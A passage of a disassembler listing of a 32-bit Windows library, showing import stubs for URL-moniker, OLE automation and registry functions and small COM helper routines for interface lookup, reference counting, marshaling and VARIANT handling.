; ---------------------------------------------------------------------------
		mov	eax, offset UnregisterClassA
		jmp	short loc_69B87D71
; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, offset __imp_CreateURLMoniker
		jmp	short $+2


loc_69B87DF1:				; CODE XREF: .text:69B87E0Dj
					; .text:69B87E1Aj ...
		push	ecx
		push	edx
		push	eax
		push	offset urlmon_dll_import_table
		call	sub_69B1AA33
		pop	edx
		pop	ecx
		jmp	eax
; [00000006 BYTES: COLLAPSED FUNCTION CreateURLMoniker.	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, offset __imp_RegisterBindStatusCallback
		jmp	short loc_69B87DF1
; [00000006 BYTES: COLLAPSED FUNCTION RegisterBindStatusCallback. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, offset __imp_UrlMkGetSessionOption
		jmp	short loc_69B87DF1
; [00000006 BYTES: COLLAPSED FUNCTION UrlMkGetSessionOption. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, offset __imp_CoInternetGetSession
		jmp	short loc_69B87DF1
; [00000006 BYTES: COLLAPSED FUNCTION CoInternetGetSession. PRESS KEYPAD "+" TO	EXPAND]
; ---------------------------------------------------------------------------
		mov	eax, offset RegisterTypeLib
		jmp	short $+2


loc_69B87E36:				; CODE XREF: .text:69B87E4Cj
					; .text:69B87E53j ...
		push	ecx
		push	edx
		push	eax
		push	offset OLEAUT32_dll_import_table
		call	sub_69B1AA33
		pop	edx
		pop	ecx
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, offset LoadTypeLib
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset UnRegisterTypeLib
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset SysFreeString
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VariantInit
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VariantChangeType
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VariantClear
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset SetErrorInfo
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset GetErrorInfo
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset CreateErrorInfo
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset SysAllocString
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset SysAllocStringLen
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset SafeArrayUnaccessData
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset SafeArrayDestroy
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset SafeArrayAccessData
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset SafeArrayCreateVector
		jmp	short loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarNumFromParseNum
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarParseNumFromStr
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarDateFromUdate
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarUdateFromDate
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VariantChangeTypeEx
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset SafeArrayGetUBound
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset SafeArrayGetLBound
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VariantCopy
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset SafeArrayCopy
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset SysStringLen
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarDateFromBool
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarBoolFromCy
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarR8FromCy
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarDateFromCy
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarBstrFromCy
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarCyFromR8
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarDateFromR8
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarBstrFromR8
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarBoolFromDate
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarCyFromDate
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset VarR8FromDate
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset SafeArrayGetDim
		jmp	loc_69B87E36
; ---------------------------------------------------------------------------
		mov	eax, offset RegCloseKey
		jmp	loc_69B1AA22
; ---------------------------------------------------------------------------
		mov	eax, offset RegQueryValueExA
		jmp	loc_69B1AA22
; ---------------------------------------------------------------------------
		mov	eax, offset RegOpenKeyA
		jmp	loc_69B1AA22
; ---------------------------------------------------------------------------
		mov	eax, offset RegSetValueExA
		jmp	loc_69B1AA22
; ---------------------------------------------------------------------------
		mov	eax, offset RegEnumValueA
		jmp	loc_69B1AA22
; ---------------------------------------------------------------------------
		mov	eax, offset RegCreateKeyExA
		jmp	loc_69B1AA22
; ---------------------------------------------------------------------------
		mov	eax, offset RegDeleteKeyA
		jmp	loc_69B1AA22
; ---------------------------------------------------------------------------
		mov	eax, offset RegDeleteValueA
		jmp	loc_69B1AA22

; =============== S U B	R O U T	I N E =======================================



sub_69B87FDC	proc near		; CODE XREF: sub_69B3A953+26p
					; sub_69B3A9F7+21p ...
		mov	eax, [ecx+8]
		shr	eax, 2
		not	eax
		and	eax, 1
		retn
sub_69B87FDC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B87FE8	proc near		; CODE XREF: sub_69B4062A+24p
					; sub_69B448B2+10p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		mov	ebx, [esp+4+arg_8]
		test	ebx, ebx
		mov	eax, ecx
		jnz	short loc_69B87FFA
		mov	eax, 80004003h
		jmp	short loc_69B88037
; ---------------------------------------------------------------------------


loc_69B87FFA:				; CODE XREF: sub_69B87FE8+9j
		push	esi
		mov	esi, [esp+8+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B88027
		mov	edi, [eax+4]
		mov	esi, [esp+0Ch+arg_4]
		push	4
		pop	ecx
		xor	eax, eax
		repe cmpsd
		jz	short loc_69B88027
		and	[ebx], eax
		mov	eax, 80004002h
		jmp	short loc_69B88035
; ---------------------------------------------------------------------------


loc_69B88027:				; CODE XREF: sub_69B87FE8+24j
					; sub_69B87FE8+34j
		mov	esi, [esp+0Ch+arg_0]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		mov	[ebx], esi
		xor	eax, eax


loc_69B88035:				; CODE XREF: sub_69B87FE8+3Dj
		pop	edi
		pop	esi


loc_69B88037:				; CODE XREF: sub_69B87FE8+10j
		pop	ebx
		retn	0Ch
sub_69B87FE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8803B	proc near		; CODE XREF: sub_69B45BAF+10p
					; sub_69B7D61C+24p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_8]
		mov	esi, ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B87FE8
		test	eax, eax
		jz	short loc_69B88061
		push	[ebp+arg_8]
		mov	eax, [esi+0Ch]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]


loc_69B88061:				; CODE XREF: sub_69B8803B+16j
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B8803B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B44884


loc_69B88066:				; CODE XREF: sub_69B44884+29j
					; sub_69B455FC+29j ...
		push	esi
		mov	esi, ecx
		call	sub_69B2C65C
		add	esi, 0Ch
		push	esi
		call	sub_69B17230
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_69B44884

; =============== S U B	R O U T	I N E =======================================



sub_69B88079	proc near		; CODE XREF: sub_69B88228+9p
		push	0Ch
		push	offset dword_69B880C8
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		mov	eax, [esi+18h]
		test	eax, eax
		jz	short loc_69B880BB
		mov	ecx, [esi+14h]
		test	ecx, ecx
		jz	short loc_69B880BB
		and	dword ptr [ebp-4], 0
		mov	edx, [eax]
		push	ecx
		push	eax
		call	dword ptr [edx+10h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B880B7
; ---------------------------------------------------------------------------


loc_69B880A9:				; DATA XREF: .text:69B880CCo
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_69B880AD:				; DATA XREF: .text:69B880D0o
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	esi, [ebp-1Ch]


loc_69B880B7:				; CODE XREF: sub_69B88079+2Ej
		and	dword ptr [esi+14h], 0


loc_69B880BB:				; CODE XREF: sub_69B88079+16j
					; sub_69B88079+1Dj
		and	dword ptr [esi+0Ch], 0
		call	sub_69B1853C
		retn
sub_69B88079	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4
dword_69B880C8	dd 0FFFFFFFFh			dd offset loc_69B880A9
		dd offset loc_69B880AD

; =============== S U B	R O U T	I N E =======================================



sub_69B880D4	proc near		; CODE XREF: sub_69B881B2+4Ap

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		mov	esi, ecx
		jz	short loc_69B8810F
		mov	eax, [esi+18h]
		mov	ecx, [eax]
		push	edi
		lea	edx, [esi+14h]
		push	edx
		push	dword ptr [esi+8]
		push	ebx
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B88106
		mov	[esi+0Ch], ebx
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		mov	[esi+10h], eax
		test	edi, edi


loc_69B88106:				; CODE XREF: sub_69B880D4+22j
		jge	short loc_69B8810E
		push	edi
		call	sub_69B2E8B8


loc_69B8810E:				; CODE XREF: sub_69B880D4:loc_69B88106j
		pop	edi


loc_69B8810F:				; CODE XREF: sub_69B880D4+Aj
		pop	esi
		pop	ebx
		retn	4
sub_69B880D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B88114	proc near		; CODE XREF: sub_69B3E475+13p
					; sub_69B3E475+49p ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+0Ch]
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	short loc_69B8815B
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		cmp	[esi+10h], eax
		jz	short loc_69B8815B
		mov	ecx, [esi+14h]
		test	ecx, ecx
		jz	short loc_69B8814C
		mov	eax, [esi+18h]
		mov	edx, [eax]
		push	edi
		lea	edi, [ebp+var_4]
		push	edi
		push	dword ptr [esi+8]
		push	ecx
		push	eax
		call	dword ptr [edx+14h]
		pop	edi
		jmp	short loc_69B88151
; ---------------------------------------------------------------------------


loc_69B8814C:				; CODE XREF: sub_69B88114+21j
		mov	eax, 8000FFFFh


loc_69B88151:				; CODE XREF: sub_69B88114+36j
		test	eax, eax
		jge	short loc_69B8815B
		push	eax
		call	sub_69B2E8B8


loc_69B8815B:				; CODE XREF: sub_69B88114+Fj
					; sub_69B88114+1Aj ...
		mov	eax, [ebp+var_4]
		pop	esi
		leave
		retn
sub_69B88114	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88161	proc near		; CODE XREF: sub_69B8900B+1Ep
					; sub_69B89C91+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+0Ch]
		test	edi, edi
		jnz	short loc_69B88173
		mov	eax, 80004005h
		jmp	short loc_69B881AD
; ---------------------------------------------------------------------------


loc_69B88173:				; CODE XREF: sub_69B88161+9j
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		cmp	[esi+10h], eax
		jnz	short loc_69B8818D
		push	[esp+8+arg_4]
		mov	eax, [edi]
		push	[esp+0Ch+arg_0]
		push	edi
		call	dword ptr [eax]
		jmp	short loc_69B881AD
; ---------------------------------------------------------------------------


loc_69B8818D:				; CODE XREF: sub_69B88161+1Bj
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_69B881A8
		push	[esp+8+arg_4]
		mov	esi, [esi+18h]
		push	[esp+0Ch+arg_0]
		mov	ecx, [esi]
		push	eax
		push	esi
		call	dword ptr [ecx+14h]
		jmp	short loc_69B881AD
; ---------------------------------------------------------------------------


loc_69B881A8:				; CODE XREF: sub_69B88161+31j
		mov	eax, 8000FFFFh


loc_69B881AD:				; CODE XREF: sub_69B88161+10j
					; sub_69B88161+2Aj ...
		pop	edi
		pop	esi
		retn	8
sub_69B88161	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B881B2	proc near		; CODE XREF: sub_69B3B7F3+28p
					; sub_69B3F0EC-16E3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esi+8], eax
		lea	eax, [esi+18h]
		push	eax		; ppv
		xor	ecx, ecx
		push	offset stru_69B88218 ; riid
		inc	ecx
		xor	edi, edi
		push	ecx		; dwClsContext
		push	edi		; pUnkOuter
		push	offset stru_69B88208 ; rclsid
		mov	dword ptr [esi], offset	off_69B2B190
		mov	[esi+4], ecx
		mov	[esi+0Ch], edi
		mov	[esi+10h], edi
		mov	[esi+14h], edi
		mov	[eax], edi
		call	ds:CoCreateInstance
		cmp	eax, edi
		jge	short loc_69B881F6
		push	eax
		call	sub_69B2E8B8


loc_69B881F6:				; CODE XREF: sub_69B881B2+3Cj
		push	[esp+8+arg_4]
		mov	ecx, esi
		call	sub_69B880D4
		pop	edi
		mov	eax, esi
		pop	esi
		retn	8
sub_69B881B2	endp

; ---------------------------------------------------------------------------
; CLSID	stru_69B88208
stru_69B88208	dd 323h			; Data1	; DATA XREF: sub_69B881B2+1Bo
		dw 0			; Data2
		dw 0			; Data3
		db 0C0h, 6 dup(0), 46h	; Data4
; IID stru_69B88218
stru_69B88218	dd 146h			; Data1	; DATA XREF: sub_69B881B2+11o
		dw 0			; Data2
		dw 0			; Data3
		db 0C0h, 6 dup(0), 46h	; Data4

; =============== S U B	R O U T	I N E =======================================



sub_69B88228	proc near		; CODE XREF: sub_69B88408+1Cp
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_69B2B190
		call	sub_69B88079
		mov	esi, [esi+18h]
		test	esi, esi
		jz	short loc_69B88243
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+8]


loc_69B88243:				; CODE XREF: sub_69B88228+13j
		pop	esi
		retn
sub_69B88228	endp


; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_69B88245(LPUNKNOWN	*ppunkMarshal, LPUNKNOWN punkOuter, int, int)

sub_69B88245	proc near		; CODE XREF: sub_69B1C12C+2E0Ep
					; sub_69B1C04C+82CEp ...

punkOuter	= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi], 0
		jnz	short loc_69B8825C
		push	esi		; ppunkMarshal
		push	[esp+8+punkOuter] ; punkOuter
		call	ds:CoCreateFreeThreadedMarshaler
		test	eax, eax
		jnz	short loc_69B8826B


loc_69B8825C:				; CODE XREF: sub_69B88245+6j
		push	[esp+4+arg_8]
		mov	eax, [esi]
		push	[esp+8+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]


loc_69B8826B:				; CODE XREF: sub_69B88245+15j
		pop	esi
		retn	0Ch
sub_69B88245	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B8826F(LPUNKNOWN punkOuter, int, int)

sub_69B8826F	proc near		; CODE XREF: .text:69B88497j
					; DATA XREF: .text:off_69B88478o

var_4		= dword	ptr -4
punkOuter	= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 0
		mov	[ebp+var_4], 80004002h
		jnz	short loc_69B88287
		mov	eax, 80004003h
		jmp	short locret_69B88304
; ---------------------------------------------------------------------------


loc_69B88287:				; CODE XREF: sub_69B8826F+Fj
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	4
		pop	eax
		mov	ecx, eax
		mov	edi, offset stru_69B1CA6C
		mov	esi, edx
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B882EF
		mov	ecx, eax
		mov	edi, offset dword_69B2B040
		mov	esi, edx
		xor	ebx, ebx
		repe cmpsd
		jz	short loc_69B882EF
		mov	ecx, eax
		mov	edi, offset dword_69B2B000
		mov	esi, edx
		xor	ebx, ebx
		repe cmpsd
		jnz	short loc_69B882CE
		mov	eax, [ebp+punkOuter]
		mov	ecx, eax
		add	eax, 4
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		push	ecx
		jmp	short loc_69B882F2
; ---------------------------------------------------------------------------


loc_69B882CE:				; CODE XREF: sub_69B8826F+4Cj
		mov	ecx, eax
		mov	edi, offset dword_69B2B030
		mov	esi, edx
		xor	eax, eax
		repe cmpsd
		jnz	short loc_69B882FE
		push	[ebp+arg_8]	; int
		mov	eax, [ebp+punkOuter]
		push	edx		; int
		push	eax		; punkOuter
		lea	ecx, [eax+10h]	; ppunkMarshal
		call	sub_69B88245
		jmp	short loc_69B88301
; ---------------------------------------------------------------------------


loc_69B882EF:				; CODE XREF: sub_69B8826F+2Ej
					; sub_69B8826F+3Dj
		push	[ebp+punkOuter]


loc_69B882F2:				; CODE XREF: sub_69B8826F+5Dj
		push	[ebp+arg_8]
		call	sub_69B17320
		xor	eax, eax
		jmp	short loc_69B88301
; ---------------------------------------------------------------------------


loc_69B882FE:				; CODE XREF: sub_69B8826F+6Cj
		mov	eax, [ebp+var_4]


loc_69B88301:				; CODE XREF: sub_69B8826F+7Ej
					; sub_69B8826F+8Dj
		pop	edi
		pop	esi
		pop	ebx

locret_69B88304:			; CODE XREF: sub_69B8826F+16j
		leave
		retn	0Ch
sub_69B8826F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B88308	proc near		; DATA XREF: .text:69B88484o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_C], 0
		mov	[ebp+var_8], 80004002h
		jnz	short loc_69B88324
		mov	eax, 80004003h
		jmp	locret_69B883D4
; ---------------------------------------------------------------------------


loc_69B88324:				; CODE XREF: sub_69B88308+10j
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		push	4
		mov	ebx, offset dword_69B2B000
		pop	ecx
		mov	edi, ebx
		xor	eax, eax
		repe cmpsd
		mov	esi, [ebp+arg_0]
		jnz	short loc_69B88374
		and	[ebp+arg_0], eax
		mov	eax, [esi+8]
		mov	ecx, [eax]
		lea	edx, [ebp+arg_0]
		push	edx
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jnz	short loc_69B88374
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	eax, [ebp+arg_0]
		cmp	eax, [esi+8]
		jnz	short loc_69B88374
		push	[ebp+arg_C]
		mov	eax, [esi]
		push	ebx
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jge	short loc_69B883CE


loc_69B88374:				; CODE XREF: sub_69B88308+33j
					; sub_69B88308+49j ...
		mov	esi, [esi+8]
		and	[ebp+arg_0], 0
		and	[ebp+var_4], 0
		mov	eax, [esi]
		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset dword_69B2B0C0
		push	esi
		call	dword ptr [eax]
		test	eax, eax
		jl	short loc_69B883CE
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+arg_0]
		push	edx
		push	offset dword_69B2B040
		push	eax
		call	dword ptr [ecx+10h]
		test	eax, eax
		jl	short loc_69B883C5
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B883C5:				; CODE XREF: sub_69B88308+9Dj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B883CE:				; CODE XREF: sub_69B88308+6Aj
					; sub_69B88308+87j
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx

locret_69B883D4:			; CODE XREF: sub_69B88308+17j
		leave
		retn	10h
sub_69B88308	endp

; ---------------------------------------------------------------------------


loc_69B883D8:				; DATA XREF: .text:69B88470o
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_69B88400
		push	4
		pop	ecx
		cmp	[esp+0Ch], ecx
		jnz	short loc_69B88400
		mov	edx, [esp+4]
		mov	edx, [edx+4]
		mov	[eax], edx
		mov	eax, [esp+10h]
		test	eax, eax
		jz	short loc_69B883FC
		mov	[eax], ecx


loc_69B883FC:				; CODE XREF: .text:69B883F8j
		xor	eax, eax
		jmp	short locret_69B88405
; ---------------------------------------------------------------------------


loc_69B88400:				; CODE XREF: .text:69B883DEj
					; .text:69B883E7j
		mov	eax, 80004005h

locret_69B88405:			; CODE XREF: .text:69B883FEj
		retn	10h

; =============== S U B	R O U T	I N E =======================================



sub_69B88408	proc near		; DATA XREF: .text:69B2B198o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	eax, [esi+4]
		push	eax		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B8842F
		test	esi, esi
		jz	short loc_69B8842F
		mov	ecx, esi
		call	sub_69B88228
		push	esi
		call	sub_69B1B2B7


loc_69B8842F:				; CODE XREF: sub_69B88408+14j
					; sub_69B88408+18j
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B88408	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88436	proc near		; CODE XREF: sub_69B1C04C+817Cp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		lea	ecx, [esi+8]
		mov	dword ptr [esi], offset	off_69B88478
		mov	dword ptr [esi+4], offset off_69B88464
		call	sub_69B1E084
		mov	dword ptr [esi+0Ch], 1
		and	dword ptr [esi+10h], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_69B88436	endp

; ---------------------------------------------------------------------------
		align 4
off_69B88464	dd offset loc_69B88492	; DATA XREF: sub_69B88436+10o
		dd offset loc_69B88488
		dd offset loc_69B884E1
		dd offset loc_69B883D8
		dd offset sub_69B84A4B
off_69B88478	dd offset sub_69B8826F	; DATA XREF: sub_69B88436+Ao
		dd offset sub_69B81BB0
		dd offset sub_69B884B3
		dd offset sub_69B88308
; ---------------------------------------------------------------------------


loc_69B88488:				; DATA XREF: .text:69B88468o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B81BB0
; ---------------------------------------------------------------------------


loc_69B88492:				; DATA XREF: .text:off_69B88464o
		sub	dword ptr [esp+4], 4
		jmp	sub_69B8826F

; =============== S U B	R O U T	I N E =======================================



sub_69B8849C	proc near		; CODE XREF: sub_69B884B3+1Cp
		push	esi
		mov	esi, ecx
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		add	esi, 8
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B8849C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B884B3	proc near		; CODE XREF: .text:69B884E6j
					; DATA XREF: .text:69B88480o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	eax, [esi+0Ch]
		push	eax		; lpAddend
		call	ds:InterlockedDecrement	; InterlockedDecrement
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B884DA
		test	esi, esi
		jz	short loc_69B884DA
		mov	ecx, esi
		call	sub_69B8849C
		push	esi
		call	sub_69B1B2B7


loc_69B884DA:				; CODE XREF: sub_69B884B3+14j
					; sub_69B884B3+18j
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B884B3	endp

; ---------------------------------------------------------------------------


loc_69B884E1:				; DATA XREF: .text:69B8846Co
		sub	dword ptr [esp+4], 4
		jmp	short sub_69B884B3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B884E8	proc near		; CODE XREF: sub_69B591E4+54p
					; sub_69B884E8+3Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	cx, [eax]
		push	esi
		xor	esi, esi
		cmp	cx, 0Dh
		mov	[ebp+var_4], esi
		jz	short loc_69B88567
		cmp	cx, 9
		jz	short loc_69B88567
		cmp	cx, 400Dh
		jz	short loc_69B88556
		cmp	cx, 4009h
		jz	short loc_69B88556
		cmp	cx, 400Ch
		jnz	short loc_69B88537
		mov	eax, [eax+8]
		cmp	eax, esi
		jz	short loc_69B88530
		push	[ebp+arg_4]
		push	eax
		call	sub_69B884E8
		mov	[ebp+var_4], eax
		cmp	eax, esi
		jmp	short loc_69B88582
; ---------------------------------------------------------------------------


loc_69B88530:				; CODE XREF: sub_69B884E8+36j
		mov	eax, 80070057h
		jmp	short loc_69B88589
; ---------------------------------------------------------------------------


loc_69B88537:				; CODE XREF: sub_69B884E8+2Fj
		cmp	cx, 1
		jz	short loc_69B88552
		cmp	cx, si
		jz	short loc_69B88552
		cmp	cx, 0Ah
		jz	short loc_69B88552
		push	80070057h
		call	sub_69B2E8B8


loc_69B88552:				; CODE XREF: sub_69B884E8+53j
					; sub_69B884E8+58j ...
		xor	eax, eax
		jmp	short loc_69B88592
; ---------------------------------------------------------------------------


loc_69B88556:				; CODE XREF: sub_69B884E8+21j
					; sub_69B884E8+28j
		mov	ecx, [eax+8]
		cmp	ecx, esi
		jz	short loc_69B88552
		cmp	[ecx], esi
		jz	short loc_69B88552
		mov	eax, ecx
		mov	eax, [eax]
		jmp	short loc_69B8856F
; ---------------------------------------------------------------------------


loc_69B88567:				; CODE XREF: sub_69B884E8+14j
					; sub_69B884E8+1Aj
		cmp	[eax+8], esi
		jz	short loc_69B88552
		mov	eax, [eax+8]


loc_69B8856F:				; CODE XREF: sub_69B884E8+7Dj
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx]
		cmp	eax, esi
		jnz	short loc_69B88589
		cmp	[ebp+var_4], esi


loc_69B88582:				; CODE XREF: sub_69B884E8+46j
		jnz	short loc_69B8858F
		mov	eax, 80004005h


loc_69B88589:				; CODE XREF: sub_69B884E8+4Dj
					; sub_69B884E8+95j
		push	eax
		call	sub_69B2E8B8


loc_69B8858F:				; CODE XREF: sub_69B884E8:loc_69B88582j
		mov	eax, [ebp+var_4]


loc_69B88592:				; CODE XREF: sub_69B884E8+6Cj
		pop	esi
		leave
		retn	8
sub_69B884E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B88597	proc near		; CODE XREF: sub_69B4311C+4Ep
					; sub_69B475B7+5Fp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		jmp	short loc_69B885B8
; ---------------------------------------------------------------------------


loc_69B885A0:				; CODE XREF: sub_69B88597+23j
		movzx	ecx, word ptr [eax]
		cmp	ecx, 0Dh
		jle	short loc_69B885D4
		sub	ecx, 4009h
		jz	short loc_69B885F0
		sub	ecx, 3
		jnz	short loc_69B885BE
		mov	eax, [eax+8]


loc_69B885B8:				; CODE XREF: sub_69B88597+7j
		test	eax, eax
		jnz	short loc_69B885A0
		jmp	short loc_69B885F9
; ---------------------------------------------------------------------------


loc_69B885BE:				; CODE XREF: sub_69B88597+1Cj
		dec	ecx
		jz	short loc_69B885F0


loc_69B885C1:				; CODE XREF: sub_69B88597+41j
					; sub_69B88597+50j
		cmp	[esp+4+arg_4], 0
		jz	short loc_69B885F9
		push	80070057h
